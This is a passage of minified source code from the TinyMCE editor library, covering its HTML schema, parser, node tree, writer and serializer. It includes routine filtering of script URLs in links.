addValidChildren(validChildren){var childRuleRegExp=/^([+\-]?)(\w+)\[([^\]]+)\]$/;validChildren&&each(split(validChildren,","),function(rule){var parent,prefix,matches=childRuleRegExp.exec(rule);matches&&(prefix=matches[1],parent=prefix?children[matches[2]]:children[matches[2]]={"#comment":{}},parent=children[matches[2]],each(split(matches[3],"|"),function(child){"-"===prefix?(children[matches[2]]=parent=extend({},children[matches[2]]),delete parent[child]):parent[child]={}}))})}function getElementRule(name){var i,element=elements[name];if(element)return element;for(i=patternElements.length;i--;)if(element=patternElements[i],element.pattern.test(name))return element}var validStyles,invalidStyles,schemaItems,whiteSpaceElementsMap,selfClosingElementsMap,shortEndedElementsMap,boolAttrMap,validClasses,blockElementsMap,nonEmptyElementsMap,moveCaretBeforeOnEnterElementsMap,textBlockElementsMap,textInlineElementsMap,self=this,elements={},children={},patternElements=[],customElementsMap={},specialElements={};settings=settings||{},schemaItems=compileSchema(settings.schema),settings.verify_html===!1&&(settings.valid_elements="*[*]"),validStyles=compileElementMap(settings.valid_styles),invalidStyles=compileElementMap(settings.invalid_styles,"map"),validClasses=compileElementMap(settings.valid_classes,"map"),whiteSpaceElementsMap=createLookupTable("whitespace_elements","pre script noscript style textarea video audio iframe object"),selfClosingElementsMap=createLookupTable("self_closing_elements","colgroup dd dt li option p td tfoot th thead tr"),shortEndedElementsMap=createLookupTable("short_ended_elements","area base basefont br col frame hr img input isindex link meta param embed source wbr track"),boolAttrMap=createLookupTable("boolean_attributes","checked compact declare defer disabled ismap multiple nohref noresize noshade nowrap readonly selected autoplay loop controls itemscope playsinline"),nonEmptyElementsMap=createLookupTable("non_empty_elements","td th iframe video audio object script",shortEndedElementsMap),moveCaretBeforeOnEnterElementsMap=createLookupTable("move_caret_before_on_enter_elements","table",nonEmptyElementsMap),textBlockElementsMap=createLookupTable("text_block_elements","h1 h2 h3 h4 h5 h6 p div address pre form blockquote center dir fieldset header footer article section hgroup aside nav figure"),blockElementsMap=createLookupTable("block_elements","hr table tbody thead tfoot th tr td li ol ul caption dl dt dd noscript menu isindex option datalist select optgroup",textBlockElementsMap),textInlineElementsMap=createLookupTable("text_inline_elements","span strong b em i font strike u var cite dfn code mark q sup sub samp"),each((settings.special||"script noscript style textarea").split(" "),function(name){specialElements[name]=new RegExp("</"+name+"[^>]*>","gi")}),settings.valid_elements?setValidElements(settings.valid_elements):(each(schemaItems,function(element,name){elements[name]={attributes:element.attributes,attributesOrder:element.attributesOrder},children[name]=element.children}),"html4"===settings.schema&&each(split("strong/b em/i"),function(item){item=split(item,"/"),elements[item[1]].outputName=item[0]}),elements.img.attributesDefault=[{name:"alt",value:""}],each(split("ol ul sub sup blockquote font table tbody tr strong b"),function(name){elements[name]&&(elements[name].removeEmpty=!0)}),each(split("p h1 h2 h3 h4 h5 h6 th td pre div address caption"),function(name){elements[name].paddEmpty=!0})),addCustomElements(settings.custom_elements),addValidChildren(settings.valid_children),addValidElements(settings.extended_valid_elements),addValidChildren("+ol[ul|ol],+ul[ul|ol]"),settings.invalid_elements&&each(explode(settings.invalid_elements),function(item){elements[item]&&delete elements[item]}),getElementRule("span")||addValidElements("span[!data-mce-type|*]"),self.children=children,self.getValidStyles=function(){return validStyles},self.getInvalidStyles=function(){return invalidStyles},self.getValidClasses=function(){return validClasses},self.getBoolAttrs=function(){return boolAttrMap},self.getBlockElements=function(){return blockElementsMap},self.getTextBlockElements=function(){return textBlockElementsMap},self.getTextInlineElements=function(){return textInlineElementsMap},self.getShortEndedElements=function(){return shortEndedElementsMap},self.getSelfClosingElements=function(){return selfClosingElementsMap},self.getNonEmptyElements=function(){return nonEmptyElementsMap},self.getMoveCaretBeforeOnEnterElements=function(){return moveCaretBeforeOnEnterElementsMap},self.getWhiteSpaceElements=function(){return whiteSpaceElementsMap},self.getSpecialElements=function(){return specialElements},self.isValidChild=function(name,child){var parent=children[name];return!(!parent||!parent[child])},self.isValid=function(name,attr){var attrPatterns,i,rule=getElementRule(name);if(rule){if(!attr)return!0;if(rule.attributes[attr])return!0;if(attrPatterns=rule.attributePatterns)for(i=attrPatterns.length;i--;)if(attrPatterns[i].pattern.test(name))return!0}return!1},self.getElementRule=getElementRule,self.getCustomElements=function(){return customElementsMap},self.addValidElements=addValidElements,self.setValidElements=setValidElements,self.addCustomElements=addCustomElements,self.addValidChildren=addValidChildren,self.elements=elements}}(tinymce),function(tinymce){var each=tinymce.each,Entities=tinymce.html.Entities;tinymce.html.SaxParser=function(settings,schema){function noop(){}var self=this;settings=settings||{},self.schema=schema=schema||new tinymce.html.Schema,settings.fix_self_closing!==!1&&(settings.fix_self_closing=!0),each("comment cdata text start end pi doctype".split(" "),function(name){name&&(self[name]=settings[name]||noop)}),self.findEndTag=function(schema,html,startIndex){var index,matches,tokenRegExp,shortEndedElements,count=1;for(shortEndedElements=schema.getShortEndedElements(),tokenRegExp=/<([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\/|\s+)>/g,tokenRegExp.lastIndex=index=startIndex;matches=tokenRegExp.exec(html);){if(index=tokenRegExp.lastIndex,"/"===matches[1])count--;else if(!matches[1]){if(matches[2]in shortEndedElements)continue;count++}if(0===count)break}return index},self.parse=function(html){function processEndTag(name){var pos,i;for(pos=stack.length;pos--&&stack[pos].name!==name;);if(pos>=0){for(i=stack.length-1;i>=pos;i--)name=stack[i],name.valid&&self.end(name.name);stack.length=pos}}function isDataAttribute(name){return name.indexOf("-")>0}function parseAttribute(match,name,value,val2,val3){var attrRule,i,trimRegExp=/[\s\u0000-\u001F]+/g;if(name=name.toLowerCase(),value=name in fillAttrsMap?name:decode(value||val2||val3||""),validate&&!isInternalElement&&!isDataAttribute(name)){if(attrRule=validAttributesMap[name],!attrRule&&validAttributePatterns){for(i=validAttributePatterns.length;i--&&(attrRule=validAttributePatterns[i],!attrRule.pattern.test(name)););i===-1&&(attrRule=null)}if(!attrRule)return;if(attrRule.validValues&&!(value in attrRule.validValues))return}if(filteredUrlAttrs[name]&&!settings.allow_script_urls){var uri=value.replace(trimRegExp,"");try{uri=decodeURIComponent(uri)}catch(ex){uri=unescape(uri)}if(scriptUriRegExp.test(uri))return;if(!settings.allow_html_data_urls&&dataUriRegExp.test(uri)&&!/^data:image\//i.test(uri))return}attrList.map[name]=value,attrList.push({name:name,value:value})}var matches,value,endRegExp,attrList,i,text,name,isInternalElement,removeInternalElements,shortEndedElements,fillAttrsMap,isShortEnded,validate,elementRule,isValidElement,attr,attribsValue,validAttributesMap,validAttributePatterns,attributesRequired,attributesDefault,attributesForced,anyAttributesRequired,selfClosing,tokenRegExp,attrRegExp,specialElements,attrValue,fixSelfClosing,self=this,index=0,stack=[],idCount=0,decode=Entities.decode,filteredUrlAttrs=tinymce.makeMap("src,href,data,background,formaction,poster"),scriptUriRegExp=/((java|vb)script|mhtml):/i,dataUriRegExp=/^data:/i;for(tokenRegExp=new RegExp("<(?:(?:!--([\\w\\W]*?)-->)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:!DOCTYPE([\\w\\W]*?)>)|(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|(?:\\/([^>]+)>)|(?:([A-Za-z0-9\\-_\\:\\.]+)((?:\\s+[^\"'>]+(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>]*))*|\\/|\\s+)>))","g"),attrRegExp=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g,shortEndedElements=schema.getShortEndedElements(),selfClosing=settings.self_closing_elements||schema.getSelfClosingElements(),fillAttrsMap=schema.getBoolAttrs(),validate=settings.validate,removeInternalElements=settings.remove_internals,fixSelfClosing=settings.fix_self_closing,specialElements=schema.getSpecialElements();matches=tokenRegExp.exec(html);){if(index<matches.index&&self.text(decode(html.substr(index,matches.index-index))),value=matches[6])value=value.toLowerCase(),":"===value.charAt(0)&&(value=value.substr(1)),processEndTag(value);else if(value=matches[7]){if(value=value.toLowerCase(),":"===value.charAt(0)&&(value=value.substr(1)),isShortEnded=value in shortEndedElements,fixSelfClosing&&selfClosing[value]&&stack.length>0&&stack[stack.length-1].name===value&&processEndTag(value),!validate||(elementRule=schema.getElementRule(value))){if(isValidElement=!0,validate&&(validAttributesMap=elementRule.attributes,validAttributePatterns=elementRule.attributePatterns),(attribsValue=matches[8])?(isInternalElement=attribsValue.indexOf("data-mce-type")!==-1,isInternalElement&&removeInternalElements&&(isValidElement=!1),attrList=[],attrList.map={},attribsValue.replace(attrRegExp,parseAttribute)):(attrList=[],attrList.map={}),validate&&!isInternalElement){if(attributesRequired=elementRule.attributesRequired,attributesDefault=elementRule.attributesDefault,attributesForced=elementRule.attributesForced,anyAttributesRequired=elementRule.removeEmptyAttrs,anyAttributesRequired&&!attrList.length&&(isValidElement=!1),attributesForced)for(i=attributesForced.length;i--;)attr=attributesForced[i],name=attr.name,attrValue=attr.value,"{$uid}"===attrValue&&(attrValue="mce_"+idCount++),attrList.map[name]=attrValue,attrList.push({name:name,value:attrValue});if(attributesDefault)for(i=attributesDefault.length;i--;)attr=attributesDefault[i],name=attr.name,name in attrList.map||(attrValue=attr.value,"{$uid}"===attrValue&&(attrValue="mce_"+idCount++),attrList.map[name]=attrValue,attrList.push({name:name,value:attrValue}));if(attributesRequired){for(i=attributesRequired.length;i--&&!(attributesRequired[i]in attrList.map););i===-1&&(isValidElement=!1)}if(attr=attrList.map["data-mce-bogus"]){if("all"===attr){index=self.findEndTag(schema,html,tokenRegExp.lastIndex),tokenRegExp.lastIndex=index;continue}isValidElement=!1}}isValidElement&&self.start(value,attrList,isShortEnded)}else isValidElement=!1;if(endRegExp=specialElements[value]){endRegExp.lastIndex=index=matches.index+matches[0].length,(matches=endRegExp.exec(html))?(isValidElement&&(text=html.substr(index,matches.index-index)),index=matches.index+matches[0].length):(text=html.substr(index),index=html.length),isValidElement&&(text.length>0&&self.text(text,!0),self.end(value)),tokenRegExp.lastIndex=index;continue}isShortEnded||(attribsValue&&attribsValue.indexOf("/")==attribsValue.length-1?isValidElement&&self.end(value):stack.push({name:value,valid:isValidElement}))}else(value=matches[1])?(">"===value.charAt(0)&&(value=" "+value),settings.allow_conditional_comments||"[if"!==value.substr(0,3)||(value=" "+value),self.comment(value)):(value=matches[2])?self.cdata(value):(value=matches[3])?self.doctype(value):(value=matches[4])&&self.pi(value,matches[5]);index=matches.index+matches[0].length}for(index<html.length&&self.text(decode(html.substr(index))),i=stack.length-1;i>=0;i--)value=stack[i],value.valid&&self.end(value.name)}}}(tinymce),function(tinymce){function walk(node,root_node,prev){var sibling,parent,startName=prev?"lastChild":"firstChild",siblingName=prev?"prev":"next";if(node[startName])return node[startName];if(node!==root_node){if(sibling=node[siblingName])return sibling;for(parent=node.parent;parent&&parent!==root_node;parent=parent.parent)if(sibling=parent[siblingName])return sibling}}function Node(name,type){this.name=name,this.type=type,1===type&&(this.attributes=[],this.attributes.map={})}var whiteSpaceRegExp=/^[ \t\r\n]*$/,typeLookup={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11};tinymce.extend(Node.prototype,{replace:function(node){var self=this;return node.parent&&node.remove(),self.insert(node,self),self.remove(),self},attr:function(name,value){var attrs,i,undef,self=this;if("string"!=typeof name){for(i in name)self.attr(i,name[i]);return self}if(attrs=self.attributes){if(value!==undef){if(null===value){if(name in attrs.map)for(delete attrs.map[name],i=attrs.length;i--;)if(attrs[i].name===name)return attrs=attrs.splice(i,1),self;return self}if(name in attrs.map){for(value=""+value,i=attrs.length;i--;)if(attrs[i].name===name){attrs[i].value=value;break}}else attrs.push({name:name,value:value});return attrs.map[name]=value,self}return attrs.map[name]}},clone:function(){var i,l,selfAttrs,selfAttr,cloneAttrs,self=this,clone=new Node(self.name,self.type);if(selfAttrs=self.attributes){for(cloneAttrs=[],cloneAttrs.map={},i=0,l=selfAttrs.length;i<l;i++)selfAttr=selfAttrs[i],"id"!==selfAttr.name&&(cloneAttrs[cloneAttrs.length]={name:selfAttr.name,value:selfAttr.value},cloneAttrs.map[selfAttr.name]=selfAttr.value);clone.attributes=cloneAttrs}return clone.value=self.value,clone.shortEnded=self.shortEnded,clone},wrap:function(wrapper){var self=this;return self.parent.insert(wrapper,self),wrapper.append(self),self},unwrap:function(){var node,next,self=this;for(node=self.firstChild;node;)next=node.next,self.insert(node,self,!0),node=next;self.remove()},remove:function(){var self=this,parent=self.parent,next=self.next,prev=self.prev;return parent&&(parent.firstChild===self?(parent.firstChild=next,next&&(next.prev=null)):prev.next=next,parent.lastChild===self?(parent.lastChild=prev,prev&&(prev.next=null)):next.prev=prev,self.parent=self.next=self.prev=null),self},append:function(node){var last,self=this;return node.parent&&node.remove(),last=self.lastChild,last?(last.next=node,node.prev=last,self.lastChild=node):self.lastChild=self.firstChild=node,node.parent=self,node},insert:function(node,ref_node,before){var parent;return node.parent&&node.remove(),parent=ref_node.parent||this,before?(ref_node===parent.firstChild?parent.firstChild=node:ref_node.prev.next=node,node.prev=ref_node.prev,node.next=ref_node,ref_node.prev=node):(ref_node===parent.lastChild?parent.lastChild=node:ref_node.next.prev=node,node.next=ref_node.next,node.prev=ref_node,ref_node.next=node),node.parent=parent,node},getAll:function(name){var node,self=this,collection=[];for(node=self.firstChild;node;node=walk(node,self))node.name===name&&collection.push(node);return collection},empty:function(){var nodes,i,node,self=this;if(self.firstChild){for(nodes=[],node=self.firstChild;node;node=walk(node,self))nodes.push(node);for(i=nodes.length;i--;)node=nodes[i],node.parent=node.firstChild=node.lastChild=node.next=node.prev=null}return self.firstChild=self.lastChild=null,self},isEmpty:function(elements){var i,name,self=this,node=self.firstChild;if(node)do{if(1===node.type){if(node.attributes.map["data-mce-bogus"])continue;if(elements[node.name])return!1;for(i=node.attributes.length;i--;)if(name=node.attributes[i].name,"name"===name||0===name.indexOf("data-mce-bookmark"))return!1}if(8===node.type)return!1;if(3===node.type&&!whiteSpaceRegExp.test(node.value))return!1}while(node=walk(node,self));return!0},walk:function(prev){return walk(this,null,prev)}}),tinymce.extend(Node,{create:function(name,attrs){var node,attrName;if(node=new Node(name,typeLookup[name]||1),attrs){for(attrName in attrs)node.attr(attrName,attrs[attrName]);return node}}}),tinymce.html.Node=Node}(tinymce),function(tinymce){var Node=tinymce.html.Node,each=tinymce.each,explode=tinymce.explode,extend=tinymce.extend,makeMap=tinymce.makeMap;tinymce.html.DomParser=function(settings,schema){function fixInvalidChildren(nodes){var ni,node,parent,parents,newParent,currentNode,tempNode,childNode,i,nonEmptyElements,nonSplitableElements,textBlockElements,specialElements,sibling,nextNode;for(nonSplitableElements=makeMap("tr,td,th,tbody,thead,tfoot,table"),nonEmptyElements=schema.getNonEmptyElements(),textBlockElements=schema.getTextBlockElements(),specialElements=schema.getSpecialElements(),ni=0;ni<nodes.length;ni++)if(node=nodes[ni],node.parent&&!node.fixed)if(textBlockElements[node.name]&&"li"==node.parent.name){for(sibling=node.next;sibling&&textBlockElements[sibling.name];)sibling.name="li",sibling.fixed=!0,node.parent.insert(sibling,node.parent),sibling=sibling.next;node.unwrap(node)}else{for(parents=[node],parent=node.parent;parent&&!schema.isValidChild(parent.name,node.name)&&!nonSplitableElements[parent.name];parent=parent.parent)parents.push(parent);if(parent&&parents.length>1){for(parents.reverse(),newParent=currentNode=self.filterNode(parents[0].clone()),i=0;i<parents.length-1;i++){for(schema.isValidChild(currentNode.name,parents[i].name)?(tempNode=self.filterNode(parents[i].clone()),currentNode.append(tempNode)):tempNode=currentNode,childNode=parents[i].firstChild;childNode&&childNode!=parents[i+1];)nextNode=childNode.next,tempNode.append(childNode),childNode=nextNode;currentNode=tempNode}newParent.isEmpty(nonEmptyElements)?parent.insert(node,parents[0],!0):(parent.insert(newParent,parents[0],!0),parent.insert(node,newParent)),parent=parents[0],(parent.isEmpty(nonEmptyElements)||parent.firstChild===parent.lastChild&&"br"===parent.firstChild.name)&&parent.empty().remove()}else if(node.parent){if("li"===node.name){if(sibling=node.prev,sibling&&("ul"===sibling.name||"ul"===sibling.name)){sibling.append(node);continue}if(sibling=node.next,sibling&&("ul"===sibling.name||"ul"===sibling.name)){sibling.insert(node,sibling.firstChild,!0);continue}node.wrap(self.filterNode(new Node("ul",1)));continue}schema.isValidChild(node.parent.name,"div")&&schema.isValidChild("div",node.name)?node.wrap(self.filterNode(new Node("div",1))):specialElements[node.name]?node.empty().remove():node.unwrap()}}}var self=this,nodeFilters={},attributeFilters=[],matchedNodes={},matchedAttributes={};settings=settings||{},settings.validate=!("validate"in settings)||settings.validate,settings.root_name=settings.root_name||"body",self.schema=schema=schema||new tinymce.html.Schema,self.filterNode=function(node){var i,name,list;name in nodeFilters&&(list=matchedNodes[name],list?list.push(node):matchedNodes[name]=[node]),i=attributeFilters.length;for(;i--;)name=attributeFilters[i].name,name in node.attributes.map&&(list=matchedAttributes[name],list?list.push(node):matchedAttributes[name]=[node]);return node},self.addNodeFilter=function(name,callback){each(explode(name),function(name){var list=nodeFilters[name];list||(nodeFilters[name]=list=[]),list.push(callback)})},self.addAttributeFilter=function(name,callback){each(explode(name),function(name){var i;for(i=0;i<attributeFilters.length;i++)if(attributeFilters[i].name===name)return void attributeFilters[i].callbacks.push(callback);attributeFilters.push({name:name,callbacks:[callback]})})},self.parse=function(html,args){function addRootBlocks(){function trim(rootBlockNode){rootBlockNode&&(node=rootBlockNode.firstChild,node&&3==node.type&&(node.value=node.value.replace(startWhiteSpaceRegExp,"")),node=rootBlockNode.lastChild,node&&3==node.type&&(node.value=node.value.replace(endWhiteSpaceRegExp,"")))}var next,rootBlockNode,node=rootNode.firstChild;if(schema.isValidChild(rootNode.name,rootBlockName.toLowerCase())){for(;node;)next=node.next,3==node.type||1==node.type&&"p"!==node.name&&!blockElements[node.name]&&!node.attr("data-mce-type")?rootBlockNode?rootBlockNode.append(node):(rootBlockNode=createNode(rootBlockName,1),rootBlockNode.attr(settings.forced_root_block_attrs),rootNode.insert(rootBlockNode,node),rootBlockNode.append(node)):(trim(rootBlockNode),rootBlockNode=null),node=next;trim(rootBlockNode)}}function createNode(name,type){var list,node=new Node(name,type);return name in nodeFilters&&(list=matchedNodes[name],list?list.push(node):matchedNodes[name]=[node]),node}function removeWhitespaceBefore(node){var textNode,textNodeNext,textVal,sibling,blockElements=schema.getBlockElements();for(textNode=node.prev;textNode&&3===textNode.type;){if(textVal=textNode.value.replace(endWhiteSpaceRegExp,""),textVal.length>0)return void(textNode.value=textVal);if(textNodeNext=textNode.next){if(3==textNodeNext.type&&textNodeNext.value.length){textNode=textNode.prev;continue}if(!blockElements[textNodeNext.name]&&"script"!=textNodeNext.name&&"style"!=textNodeNext.name){textNode=textNode.prev;continue}}sibling=textNode.prev,textNode.remove(),textNode=sibling}}function cloneAndExcludeBlocks(input){var name,output={};for(name in input)"li"!==name&&"p"!=name&&(output[name]=input[name]);return output}var parser,rootNode,node,nodes,i,l,fi,fl,list,name,validate,blockElements,startWhiteSpaceRegExp,isInWhiteSpacePreservedElement,endWhiteSpaceRegExp,allWhiteSpaceRegExp,isAllWhiteSpaceRegExp,whiteSpaceElements,children,nonEmptyElements,rootBlockName,invalidChildren=[];if(args=args||{},matchedNodes={},matchedAttributes={},blockElements=extend(makeMap("script,style,head,html,body,title,meta,param"),schema.getBlockElements()),nonEmptyElements=schema.getNonEmptyElements(),children=schema.children,validate=settings.validate,rootBlockName="forced_root_block"in args?args.forced_root_block:settings.forced_root_block,whiteSpaceElements=schema.getWhiteSpaceElements(),startWhiteSpaceRegExp=/^[ \t\r\n]+/,endWhiteSpaceRegExp=/[ \t\r\n]+$/,allWhiteSpaceRegExp=/[ \t\r\n]+/g,isAllWhiteSpaceRegExp=/^[ \t\r\n]+$/,parser=new tinymce.html.SaxParser({validate:validate,allow_script_urls:settings.allow_script_urls,allow_conditional_comments:settings.allow_conditional_comments,self_closing_elements:cloneAndExcludeBlocks(schema.getSelfClosingElements()),cdata:function(text){node.append(createNode("#cdata",4)).value=text},text:function(text,raw){var textNode;isInWhiteSpacePreservedElement||(text=text.replace(allWhiteSpaceRegExp," "),node.lastChild&&blockElements[node.lastChild.name]&&(text=text.replace(startWhiteSpaceRegExp,""))),0!==text.length&&(textNode=createNode("#text",3),textNode.raw=!!raw,node.append(textNode).value=text)},comment:function(text){node.append(createNode("#comment",8)).value=text},pi:function(name,text){node.append(createNode(name,7)).value=text,removeWhitespaceBefore(node)},doctype:function(text){var newNode;newNode=node.append(createNode("#doctype",10)),newNode.value=text,removeWhitespaceBefore(node)},start:function(name,attrs,empty){var newNode,attrFiltersLen,elementRule,attrName,parent;if(elementRule=validate?schema.getElementRule(name):{}){for(newNode=createNode(elementRule.outputName||name,1),newNode.attributes=attrs,newNode.shortEnded=empty,node.append(newNode),parent=children[node.name],parent&&children[newNode.name]&&!parent[newNode.name]&&invalidChildren.push(newNode),attrFiltersLen=attributeFilters.length;attrFiltersLen--;)attrName=attributeFilters[attrFiltersLen].name,attrName in attrs.map&&(list=matchedAttributes[attrName],list?list.push(newNode):matchedAttributes[attrName]=[newNode]);blockElements[name]&&removeWhitespaceBefore(newNode),empty||(node=newNode),!isInWhiteSpacePreservedElement&&whiteSpaceElements[name]&&(isInWhiteSpacePreservedElement=!0)}},end:function(name){var textNode,elementRule,text,sibling,tempNode;if(elementRule=validate?schema.getElementRule(name):{}){if(blockElements[name]&&!isInWhiteSpacePreservedElement){if(textNode=node.firstChild,textNode&&3===textNode.type)if(text=textNode.value.replace(startWhiteSpaceRegExp,""),text.length>0)textNode.value=text,textNode=textNode.next;else for(sibling=textNode.next,textNode.remove(),textNode=sibling;textNode&&3===textNode.type;)text=textNode.value,sibling=textNode.next,(0===text.length||isAllWhiteSpaceRegExp.test(text))&&(textNode.remove(),textNode=sibling),textNode=sibling;if(textNode=node.lastChild,textNode&&3===textNode.type)if(text=textNode.value.replace(endWhiteSpaceRegExp,""),text.length>0)textNode.value=text,textNode=textNode.prev;else for(sibling=textNode.prev,textNode.remove(),textNode=sibling;textNode&&3===textNode.type;)text=textNode.value,sibling=textNode.prev,(0===text.length||isAllWhiteSpaceRegExp.test(text))&&(textNode.remove(),textNode=sibling),textNode=sibling}if(isInWhiteSpacePreservedElement&&whiteSpaceElements[name]&&(isInWhiteSpacePreservedElement=!1),(elementRule.removeEmpty||elementRule.paddEmpty)&&node.isEmpty(nonEmptyElements))if(elementRule.paddEmpty)node.empty().append(new Node("#text","3")).value=" ";else if(!node.attributes.map.name&&!node.attributes.map.id)return tempNode=node.parent,blockElements[node.name]?node.empty().remove():node.unwrap(),void(node=tempNode);node=node.parent}}},schema),rootNode=node=new Node(args.context||settings.root_name,11),parser.parse(html),validate&&invalidChildren.length&&(args.context?args.invalid=!0:fixInvalidChildren(invalidChildren)),rootBlockName&&("body"==rootNode.name||args.isRootContent)&&addRootBlocks(),!args.invalid){for(name in matchedNodes){for(list=nodeFilters[name],nodes=matchedNodes[name],fi=nodes.length;fi--;)nodes[fi].parent||nodes.splice(fi,1);for(i=0,l=list.length;i<l;i++)list[i](nodes,name,args)}for(i=0,l=attributeFilters.length;i<l;i++)if(list=attributeFilters[i],list.name in matchedAttributes){for(nodes=matchedAttributes[list.name],fi=nodes.length;fi--;)nodes[fi].parent||nodes.splice(fi,1);for(fi=0,fl=list.callbacks.length;fi<fl;fi++)list.callbacks[fi](nodes,list.name,args)}}return rootNode},settings.remove_trailing_brs&&self.addNodeFilter("br",function(nodes){var i,node,parent,lastParent,prev,prevName,textNode,l=nodes.length,blockElements=extend({},schema.getBlockElements()),nonEmptyElements=schema.getNonEmptyElements();for(blockElements.body=1,i=0;i<l;i++)if(node=nodes[i],parent=node.parent,blockElements[node.parent.name]&&node===parent.lastChild){for(prev=node.prev;prev;){if(prevName=prev.name,"span"!==prevName||"bookmark"!==prev.attr("data-mce-type")){if("br"!==prevName)break;if("br"===prevName){node=null;break}}prev=prev.prev}if(node){if(node.attr("style"))continue;node.remove(),parent.isEmpty(nonEmptyElements)}}else{for(lastParent=node;parent&&parent.firstChild===lastParent&&parent.lastChild===lastParent&&(lastParent=parent,!blockElements[parent.name]);)parent=parent.parent;lastParent===parent&&(textNode=new Node("#text",3),textNode.value=" ",node.replace(textNode))}}),self.addAttributeFilter("href",function(nodes){var node,i=nodes.length,appendRel=function(rel){var parts=rel.split(" ").filter(function(p){return p.length>0});return parts.concat(["noopener"]).sort().join(" ")},addNoOpener=function(rel){
var newRel=rel?tinymce.trim(rel):"";return/\b(noopener)\b/g.test(newRel)?newRel:appendRel(newRel)};if(!settings.allow_unsafe_link_target)for(;i--;)node=nodes[i],"a"===node.name&&"_blank"===node.attr("target")&&/:\/\//.test(node.attr("href"))&&node.attr("rel",addNoOpener(node.attr("rel")))}),settings.allow_html_in_named_anchor||self.addAttributeFilter("id,name",function(nodes){for(var sibling,prevSibling,parent,node,i=nodes.length;i--;)if(node=nodes[i],"a"===node.name&&node.firstChild&&!node.attr("href")){parent=node.parent,sibling=node.lastChild;do prevSibling=sibling.prev,parent.insert(sibling,node),sibling=prevSibling;while(sibling)}}),settings.validate&&schema.getValidClasses()&&self.addAttributeFilter("class",function(nodes){for(var node,classList,ci,className,classValue,validClassesMap,valid,i=nodes.length,validClasses=schema.getValidClasses();i--;){for(node=nodes[i],classList=node.attr("class").split(" "),classValue="",ci=0;ci<classList.length;ci++)className=classList[ci],valid=!1,validClassesMap=validClasses["*"],validClassesMap&&validClassesMap[className]&&(valid=!0),validClassesMap=validClasses[node.name],!valid&&validClassesMap&&validClassesMap[className]&&(valid=!0),valid&&(classValue&&(classValue+=" "),classValue+=className);classValue.length||(classValue=null),node.attr("class",classValue)}})}}(tinymce),tinymce.html.Writer=function(settings){var indent,indentBefore,indentAfter,encode,htmlOutput,html=[],makeMap=tinymce.makeMap,Entities=tinymce.html.Entities;return settings=settings||{},indent=settings.indent,indentBefore=makeMap(settings.indent_before||""),indentAfter=makeMap(settings.indent_after||""),encode=Entities.getEncodeFunc(settings.entity_encoding||"raw",settings.entities),htmlOutput="html"==settings.element_format,{start:function(name,attrs,empty){var i,l,attr,value;if(indent&&indentBefore[name]&&html.length>0&&(value=html[html.length-1],value.length>0&&"\n"!==value&&html.push("\n")),html.push("<",name),attrs)for(i=0,l=attrs.length;i<l;i++)attr=attrs[i],html.push(" ",attr.name,'="',encode(""+attr.value,!0),'"');!empty||htmlOutput?html[html.length]=">":html[html.length]=" />",empty&&indent&&indentAfter[name]&&html.length>0&&(value=html[html.length-1],value.length>0&&"\n"!==value&&html.push("\n"))},end:function(name){var value;html.push("</",name,">"),indent&&indentAfter[name]&&html.length>0&&(value=html[html.length-1],value.length>0&&"\n"!==value&&html.push("\n"))},text:function(text,raw){text.length>0&&(html[html.length]=raw?text:encode(text))},cdata:function(text){html.push("<![CDATA[",text,"]]>")},comment:function(text){html.push("<!--",text,"-->")},pi:function(name,text){text?html.push("<?",name," ",text,"?>"):html.push("<?",name,"?>"),indent&&html.push("\n")},doctype:function(text){html.push("<!DOCTYPE",text,">",indent?"\n":"")},reset:function(){html.length=0},getContent:function(){return html.join("").replace(/\n$/,"")}}},function(tinymce){tinymce.html.Serializer=function(settings,schema){var self=this,writer=new tinymce.html.Writer(settings);settings=settings||{},settings.validate=!("validate"in settings)||settings.validate,self.schema=schema=schema||new tinymce.html.Schema,self.writer=writer,self.serialize=function(node){function walk(node){var name,isEmpty,attrs,attrName,attrValue,sortedAttrs,i,l,elementRule,handler=handlers[node.type];if(handler)handler(node);else{if(name=node.name,isEmpty=node.shortEnded,attrs=node.attributes,validate&&attrs&&attrs.length>1){for(sortedAttrs=[],sortedAttrs.map={},elementRule=schema.getElementRule(node.name),i=0,l=elementRule.attributesOrder.length;i<l;i++)attrName=elementRule.attributesOrder[i],attrName in attrs.map&&(attrValue=attrs.map[attrName],sortedAttrs.map[attrName]=attrValue,sortedAttrs.push({name:attrName,value:attrValue}));for(i=0,l=attrs.length;i<l;i++)attrName=attrs[i].name,attrName in sortedAttrs.map||(attrValue=attrs.map[attrName],sortedAttrs.map[attrName]=attrValue,sortedAttrs.push({name:attrName,value:attrValue}));attrs=sortedAttrs}if(writer.start(node.name,attrs,isEmpty),!isEmpty){if(node=node.firstChild)do walk(node);while(node=node.next);writer.end(name)}}}var handlers,validate;return validate=settings.validate,handlers={3:function(node){writer.text(node.value,node.raw)},8:function(node){writer.comment(node.value)},7:function(node){writer.pi(node.name,node.value)},10:function(node){writer.doctype(node.value)},4:function(node){writer.cdata(node.value)},11:function(node){if(node=node.firstChild)do walk(node);while(node=node.next)}},writer.reset(),1!=node.type||settings.inner?handlers[11](node):walk(node),writer.getContent()}}}(tinymce),tinymce.dom={},function(namespace,expando){function addEvent(target,name,callback,capture){target.addEventListener?target.addEventListener(name,callback,capture||!1):target.attachEvent&&target.attachEvent("on"+name,callback)}function removeEvent(target,name,callback,capture){target.removeEventListener?target.removeEventListener(name,callback,capture||!1):target.detachEvent&&target.detachEvent("on"+name,callback)}function fix(original_event,data){function returnFalse(){return!1}function returnTrue(){return!0}var name,event=data||{};for(name in original_event)"layerX"!==name&&"layerY"!==name&&(event[name]=original_event[name]);return 